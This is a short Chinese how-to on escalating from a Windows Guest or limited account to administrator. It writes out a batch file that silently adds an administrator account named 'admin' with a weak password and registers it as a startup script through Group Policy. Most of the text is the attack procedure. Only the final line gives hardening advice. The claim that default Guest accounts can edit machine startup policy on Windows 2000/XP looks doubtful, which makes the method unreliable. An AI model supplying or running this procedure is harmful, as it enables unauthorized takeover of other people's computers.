怎样用GUEST用户提权

一、 创建一个批处理文件，内容如下：

net user admin 123456 /add
net localgroup administrators admin /add

　　将上述的批处理文件保存为 admin.bat.

　　注：上述批处理文件作用是创建一个名为 admin 的管理员帐户(密码为123456)。

　　二、将此批处理文件作为Windows 的开机启动脚本。

　　1、在 运行 对话框中输入 gpedit.msc

　　2、定位到 计算机配置一>Windows设置一>脚本 (启动/关机), 双击右边窗口的 启动,在其中添加先前创建的 admin.bat。

　　3、重新启动计算机，进入GUEST用户后，再次重启计算机，系统便有了一个名为admin 的管理员

　　上述操作在Windows 2000/XP中可行，但要保证帐户可以访问注册表,组策略(创建帐户的操作实际上也就是在注册表中添加相应的项和值),而Windows中的缺省的Guest/受限帐户并无此限制。

　　或许，我们并不需要用Guest帐户去创建一个管理员，但设想如果某个程序只有管理员可执行或是有人恶搞（故意把你管理员的密码改掉），是否也就可用上述的方法来实现权限突破呢？

　　小结:Windows系统默认对Guest/受限帐户的限制只是表面上的，作为一个有经验的系统管理员，要做的事情还很多，起码应该禁止受限用户访问/修改注册表,组策略等。